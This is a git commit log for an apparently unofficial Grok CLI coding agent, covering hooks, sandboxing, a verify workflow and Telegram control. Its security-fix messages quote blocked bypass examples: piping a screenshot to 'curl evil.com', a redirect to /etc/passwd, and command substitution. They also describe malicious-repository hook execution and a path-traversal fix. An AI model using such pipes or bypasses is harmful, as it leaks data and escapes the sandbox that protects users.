45 Commits
Author SHA1 Message Date
Ismail Pelaseyed 4bad5f271e feat: add programmable hooks system with 17 lifecycle events (#248)
* feat: add programmable hooks system with 17 lifecycle events

Hooks execute shell commands at key agent lifecycle events, letting
teams enforce policies, run linters, or log activity. Configuration
lives in ~/.grok/user-settings.json (global) or .grok/settings.json
(project) under a "hooks" key following Claude Code's proven schema.

Supported events: PreToolUse, PostToolUse, PostToolUseFailure,
UserPromptSubmit, SessionStart, SessionEnd, Stop, StopFailure,
SubagentStart, SubagentStop, TaskCreated, TaskCompleted, PreCompact,
PostCompact, Notification, InstructionsLoaded, CwdChanged.

Closes #247

* fix: matcher logic inverted when matchValue is absent

When an event has no match value (e.g. Stop, Notification), a hook
with a specific matcher string like "bash" would incorrectly fire.
Return false instead of true so matcher-specific hooks only fire
when the event actually provides a value to match against.

* fix: run PreToolUse hooks before background commands

Background commands (background: true) bypassed all hook logic
entirely. Move the PreToolUse check before the background early
return so policy hooks can block dangerous background commands.

* fix: restrict hooks to user-level settings only (security)

Project-level .grok/settings.json is repo-committed, so a malicious
repository could execute arbitrary unsandboxed commands on a
developer's machine via hook definitions. Hooks now load exclusively
from ~/.grok/user-settings.json. Removed hooks from ProjectSettings
interface and updated README accordingly.

* fix: return fresh empty result instead of shared mutable singleton

EMPTY_RESULT was a single shared object with mutable arrays returned
by reference. Replace with an emptyResult() factory function that
returns a new object each time to prevent cross-caller corruption.
2026-04-05 21:53:17 +02:00
Ismail Pelaseyed fa204fe98f update readme 2026-04-03 10:37:07 +02:00
Ismail Pelaseyed 5dd250fa65 minor tweaks to builds 2026-04-03 10:15:53 +02:00
Ismail Pelaseyed 3f68af6f3a feat: add binary release workflow, install script, and self-management CLI commands (#241) 2026-04-03 09:56:34 +02:00
Ismail Pelaseyed 79ebd68039 Fix formatting in README.md
Removed extra asterisks from 'grok-code-fast-1' in the README.
2026-04-02 16:39:44 +02:00
Ismail Pelaseyed 955d9973db feat: add @-mention file autocomplete (#236)
* feat: add @-mention file autocomplete

Let prompts attach files directly from the composer with inline suggestions while injecting file context for the agent.

* bump version

* minor pr fixes
2026-04-01 20:26:49 +02:00
Ismail Pelaseyed 0553f76082 feat: switch computer sub-agent to agent-desktop (#233)
* feat: switch computer sub-agent to agent-desktop

* fix: improve computer ref click errors

* fix: restrict agent-desktop environment
2026-04-01 12:23:49 +02:00
Alan ZabihiandIsmail Pelaseyed e2ca4e3621 feat: add batch mode for headless Grok CLI runs (#231)
* Add batch API support for unattended headless runs.

* Handle empty child batch responses as errors.

* remove redundant markdown, bump package version

---------

Co-authored-by: Ismail Pelaseyed <homanp@gmail.com>
2026-04-01 08:07:02 +02:00
Ismail Pelaseyed 19154d22c6 feat: add verify workflow with sandboxed testing and browser smoke checks (#228)
* feat: add verify workflow

* fix: host-side browser smoke tests, skill inheritance, and screenshot paths

* Update CHANGELOG.md

* fix: remove duplicated content in agent-browser SKILL.md

* fix: restrict host bypass to safe compound commands only

Validate every segment of a compound command before routing to host.
Only agent-browser, mkdir, sleep, echo, and true are allowed.
Commands like `git push && agent-browser close` now stay sandboxed.

* fix: remove lint/typecheck duplication across build and test commands

* feat: add granular progress output for headless verify mode

Show step-by-step progress during verify: recipe detection, checkpoint
prep, and sandbox execution. Tool calls now show useful context like
bash command snippets and sub-agent descriptions instead of bare names.

* fix: unify headless verify output style and remove redundant prelude

Use ▸ consistently for all progress/tool lines. Skip the generic
Processing/Session prelude when verify already shows its own progress.

* feat: record browser smoke tests as video during verify

Use agent-browser record start/stop to capture a .webm video of the
entire smoke test flow alongside screenshots. Both artifacts land in
.grok/verify-artifacts/ and are reported in the Evidence section.

* feat: show verify progress in interactive TUI mode

Display step-by-step status messages during recipe detection and
checkpoint preparation so the user sees what is happening before
the verify sub-agent starts running.

* fix: capitalize Verify in sub-agent display name

* feat: make recipe detection a proper verify-detect sub-agent

Replace the bare generateText() call with a verify-detect sub-agent
that can read files and inspect the codebase before producing a recipe.
The verify flow now runs two visible sub-agents: detect then execute.

* fix: remove manual status messages, let sub-agents show their own activity

* feat: make /verify work like /review with visible sub-agent activity

Replace the silent out-of-band detection with a single prompt that
drives both verify-detect and verify sub-agents from inside the
normal conversation loop. Both sub-agents now stream their activity
visibly in the TUI and headless output.

* refactor: make /verify identical to /review - a static prompt constant

Replace buildVerifyPrompt() with a VERIFY_PROMPT constant. Remove
runVerify() callback entirely. Both /verify and --verify now just
call processMessage(VERIFY_PROMPT), exactly like /review does with
REVIEW_PROMPT.

* fix: strengthen VERIFY_PROMPT with explicit sandbox/browser/relay instructions

* fix: install node/npm alongside bun in sandbox bootstrap

Next.js and other Node tools call npm internally (e.g. npm config get
registry). Bun-based projects now bootstrap both Bun and Node/npm.

* refactor: remove hardcoded bootstrap/shellInit, let detect agent decide

Remove all ecosystem-specific bootstrap functions (getNodeBootstrapCommands,
getPythonBootstrapCommands, etc). Static fallback recipes now have empty
bootstrap/shellInit arrays. The detect sub-agent is responsible for
specifying what runtimes and tools need to be installed in the sandbox.
The detect prompt now explicitly explains the sandbox is a fresh Debian
VM and gives examples of what bootstrapCommands should contain.

* docs: slim down verify README section to end-user essentials

* fix: reject pipes, redirects, and command substitution in host bypass

Block agent-browser screenshot | curl evil.com, redirects like > /etc/passwd,
and $(...) / backtick command substitution from bypassing the sandbox.

* fix: remove dead prepareVerifyRuntimeConfig function

* fix: remove dead verifyRecipeContext variable
2026-03-29 19:53:14 +02:00
Ismail Pelaseyed 79c73be41e feat: add configurable sandbox settings (network, resources, ports, secrets) (#217)
Expose Shuru sandbox configuration beyond the simple on/off toggle.
Settings (allowNet, allowedHosts, ports, cpus, memory, diskSize, secrets,
checkpoint) flow from CLI flags / saved settings through Agent, sub-agents,
and background delegations into wrapCommandForShuru. The TUI /sandbox panel
is replaced with a unified settings modal using arrow left/right for toggles
and inline editing for text fields. Adds --allow-net, --allow-host, and
--port CLI flags and a README section on sandbox support.
2026-03-25 19:26:17 +01:00
Ismail Pelaseyed 76498778d5 feat: add scheduled headless runs with daemon and agent tools (#214)
* feat: add scheduled headless runs with daemon and agent tools

Add schedule_create, schedule_list, schedule_remove, schedule_read_log,
schedule_daemon_status, schedule_daemon_start, and schedule_daemon_stop
agent tools. Schedules are persisted under ~/.grok/schedules/ and fired
by a lightweight `grok daemon` background process. Includes /schedule
TUI slash command, browser modal, README section, and tests.

* fix: resolve pre-existing test failures across the suite

Add vitest.config.ts to exclude dist/ from test runs. Fix whisper-cpp
and instructions tests to isolate from local filesystem state by setting
process.env.HOME to a temp dir. Fix bridge test lint errors by replacing
`any` with proper types.

* fix: address code review findings in schedule system

- Prevent path traversal in schedule IDs by stripping dots from allowed
  chars and adding assertInsideSchedulesDir guard
- Fix day-of-week cron ranges including 7 (e.g. 5-7) by validating raw
  values before normalization and handling wrap-around in matching
- Pass log file descriptor directly to child stdio instead of piping
  through the parent process
- Isolate per-schedule errors in daemon tick so one broken schedule
  does not block the rest
2026-03-25 12:53:30 +01:00
MakiandIsmail Pelaseyed 5d6db5fde0 feat: add built-in telegram-bridge command (#211)
* ✨ Add built-in telegram-bridge command

- add a headless Telegram bridge entrypoint and reusable path resolver
- export the new bridge helpers and cover path defaults with focused tests
- document headless Telegram usage in the README and verify startup without the wrapper

* 🐛 Fix telegram bridge shutdown handling

- restore the CLI's default SIGTERM exit behavior for non-bridge commands
- let the headless telegram bridge own SIGTERM cleanup while it is running
- abort bridge startup and clear watchers/listeners when Telegram setup fails early

* ♻️ Share Telegram approval persistence

- move approved-user persistence into a shared Telegram settings helper
- reuse the helper from both the TUI pairing flow and the headless bridge
- keep the approval write path consistent while removing duplicated settings merge logic

* bump package.json version

---------

Co-authored-by: Ismail Pelaseyed <homanp@gmail.com>
2026-03-25 09:02:03 +01:00
Ismail Pelaseyed 7d9e82551f feat: send attachments to telegram (#212)
* feat: add telegram_send_file tool for Telegram media attachments

Give the agent a real tool to upload files to Telegram chats so it can
confirm delivery before writing its final reply, instead of guessing
whether attachments are supported.

* feat: add Telegram voice/audio transcription via whisper.cpp

Local speech-to-text for Telegram voice notes and audio attachments
using whisper.cpp, with auto model download and ffmpeg conversion.
2026-03-24 20:50:51 +01:00
Ismail Pelaseyed 730a1adf93 feat: add Telegram voice/audio transcription via whisper.cpp (#210)
* feat: add Telegram voice/audio transcription via whisper.cpp

Telegram voice notes and audio attachments are now transcribed locally
using whisper.cpp before being sent to the agent. Includes auto-download
of Whisper models, ffmpeg fallback for non-WAV formats, configurable
settings under telegram.audioInput, and unit tests for the new STT layer.

* fix: harden whisper audio setup

Avoid Linux model download failures, remove unused STT dependencies, and keep local Cursor state changes isolated to the intended files.

* refactor: share Telegram audio handler

Reduce duplicate Telegram voice and audio handling so transcription flow changes stay in sync.
2026-03-24 14:18:27 +01:00
Ismail Pelaseyed 7f1042dbe0 feat: add Grok media tools (#207) 2026-03-23 22:49:12 +01:00
Ismail Pelaseyed b607b39149 docs: clarify terminal support and unofficial status (#204)
Document the recommended terminals for the OpenTUI experience and make it explicit that this project is a community-built, unofficial Grok CLI.
2026-03-23 20:02:39 +01:00
Ismail Pelaseyed 994a307324 add support for multi-agent Grok models (#197) 2026-03-23 09:57:07 +01:00
Ismail Pelaseyed fc37434a2a feat: add custom sub-agents with /agents TUI and reliable interrupt (#192)
* feat: add custom sub-agents with /agents TUI and reliable interrupt

- Custom sub-agents stored in ~/.grok/user-settings.json (name, model, instruction)
- Validation against known model IDs, reserved name protection
- Injected into system prompt and available via task tool in all modes
- /agents TUI modal for browsing, adding, editing, and removing sub-agents
- Custom agent name shown in task UI instead of generic "Sub-agent"
- Foreground bash/search tools now accept abort signals for real cancellation
- Esc interrupt aligned with queue-force path for consistent cancel behavior

* fix issues found in code review
2026-03-23 08:50:35 +01:00
Ismail Pelaseyed 5245dcef1a docs: clarify headless json output format
Explain that `--format json` now emits semantic JSON events so the README matches the current headless behavior.
2026-03-22 20:18:29 +01:00
Cody MitchellandIsmail Pelaseyed ecc7ed821c feat: add json output mode for headless runs (#185)
* feat: add json headless output mode

* fix unhandled switch statement

* add full json response when in headless mode with --format json

---------

Co-authored-by: Ismail Pelaseyed <homanp@gmail.com>
2026-03-22 20:02:46 +01:00
Ismail Pelaseyed c722104d6f add compaction (#183) 2026-03-21 00:03:49 +01:00
Ismail Pelaseyed 053cecb5a2 remove grok.md support (#181) 2026-03-20 21:46:39 +01:00
Ismail Pelaseyed 9d93ea4f87 Change asset link in README.md
Updated the asset link in the README file.
2026-03-20 12:30:04 +01:00
Ismail Pelaseyed f0883e1116 Change image source link in README.md (#179)
Updated the image source link in the README.
2026-03-20 12:20:41 +01:00
Ismail Pelaseyed b53967cd35 update readme and version (#178) 2026-03-20 12:19:28 +01:00
Ismail Pelaseyed 1175c39022 feat: add telegram remote control (#175)
* add support for remote controlling via telegram

* fix issues with grok search
2026-03-20 11:57:56 +01:00
Ismail Pelaseyed a20da21e85 add support for agents.md (#173) 2026-03-20 00:27:24 +01:00
Ismail Pelaseyed 39e206ca86 feat: add agent skills (#169)
* feat: Agent Skills discovery and prompt catalog

- Discover skills in ~/.agents/skills and project .agents/skills (project wins on name)
- Inject OpenCode-style <available_skills> XML + read_file instructions in system prompt
- /skills slash command lists installed skills in the TUI
- Document layout and usage in README; gitignore .agents for local skill installs

* chore: ignore skills-lock.json
2026-03-19 23:18:22 +01:00
ad177ec77a Support global custom instructions from ~/.grok/GROK.md (#101)
* feat: add support for global custom instructions

* Remove comments

* Fix import syntax for fs-extra module (#112)

* Fix import syntax for fs-extra module

* Fix import syntax for fs-extra module

* Fix import syntax for fs-extra module

* Fix missing newline at end of morph-editor.ts

* Add where to set the API key in the json file (#107)

* Fix diff generation showing entire file as changed (fixes #83) (#98)

The diff preview was showing the entire file as changed when only a few
lines were actually modified. This was caused by a broken change detection
algorithm that couldn't properly handle insertions and deletions.

Replaced the naive line-matching algorithm with a proper LCS (Longest
Common Subsequence) based diff algorithm using dynamic programming. This
produces minimal, accurate diffs that match what git diff shows.

Changes:
- Added computeLCS(): Computes longest common subsequence between old/new lines
- Added extractChanges(): Extracts actual change regions from LCS table
- Updated generateDiff(): Uses LCS-based change detection instead of broken algorithm

Impact:
- Diff previews now show only actual changes (e.g., 4 lines instead of 260)
- Drastically reduces context pollution in conversation history
- Matches git diff output accuracy

🤖 Contributed by ZDS-AI (https://zds.group)

* add model migration manager and new grok models (#124)

* minor tweaks

---------

Co-authored-by: jszczypk <janusz@fide.pl>
Co-authored-by: Ben Faerber <benfaerber@protonmail.com>
Co-authored-by: Joseph Cheek <jcheek@users.noreply.github.com>
Co-authored-by: Ismail Pelaseyed <homanp@gmail.com>
2025-11-27 16:24:04 +01:00
Thomas Metcalfe 9180c4b02e fix: migrate to bun (#78)
* Convert to ES and install with bun

* Delete package-lock.json

* Update README with bun info

* Update .gitignore

* Update .npmignore

* Bump version

* Unignore package lock
2025-09-13 19:56:50 +02:00
Ismail Pelaseyed 4913ab1f48 add support for initial message and grok-code-fast-1 2025-09-12 07:38:12 +02:00
bhaktatejas922 3c8a2863e2 Optional Fast Apply (#61) 2025-08-04 20:45:12 +02:00
Ismail Pelaseyed 243436d0de add a max tool round options (#63) 2025-08-04 17:50:08 +02:00
z23ccandIsmail Pelaseyed 5a4b2c8e25 feat: improve model configuration and settings management (#59)
* feat: improve model configuration and settings management

- Refactor model configuration system with unified settings approach
- Add support for user-level default models and project-level current models
- Implement automatic saving of API key and base URL from command line arguments
- Remove model descriptions for cleaner UI and easier extensibility
- Fix commander.js subcommand argument parsing with fallback mechanism
- Improve configuration file structure and priority handling
- Add comprehensive model configuration utilities in src/utils/model-config.ts

Configuration priority: project current model > user default model > system default
Both main command and git subcommand now save credentials automatically

* refactor: unify settings management

- Add SettingsManager singleton for user/project settings
- Eliminate duplicate settings code across files
- Clear separation: user settings vs project settings

* docs: improve README clarity and organization

- Simplify setup section with quick start approach
- Consolidate configuration info into unified section
- Add clear explanation of user vs project settings
- Document OpenAI-compatible API support
- Remove duplicate model configuration sections

* bump sdk

---------

Co-authored-by: Ismail Pelaseyed <homanp@gmail.com>
2025-07-31 10:07:41 +02:00
Ismail Pelaseyed c4048a5926 update model config (#53) 2025-07-28 22:12:06 +02:00
Ismail Pelaseyed 9c1d82be3c feat: add support for mcp (#44)
* wip

* add support for mcp tools

* minor tweaks to shutting down app
2025-07-26 00:57:27 +02:00
Ismail Pelaseyed f020b1d4d8 add support for headless mode (#31) 2025-07-23 06:30:08 +02:00
z23cc 6f8f9cf839 feat: add model parameter support for CLI (#29) 2025-07-23 05:18:27 +02:00
z23cc 07ec1540c3 feat: add configurable base URL support (#19) 2025-07-22 05:21:00 +02:00
Ismail Pelaseyed 1753bbf332 Update README.md 2025-07-21 15:36:52 +02:00
Ismail Pelaseyed 9108a3402a minor updates to README 2025-07-21 13:44:09 +02:00
Ismail Pelaseyed 0a1fd507ac Add image to README 2025-07-21 13:37:01 +02:00
Ismail Pelaseyed 0b28a2170c update readme 2025-07-21 13:34:52 +02:00
Ismail Pelaseyed 694258c620 add support for GROK.md custom instructions 2025-07-21 08:54:03 +02:00
Ismail Pelaseyed 7170842964 initial commit 2025-07-20 21:32:23 +02:00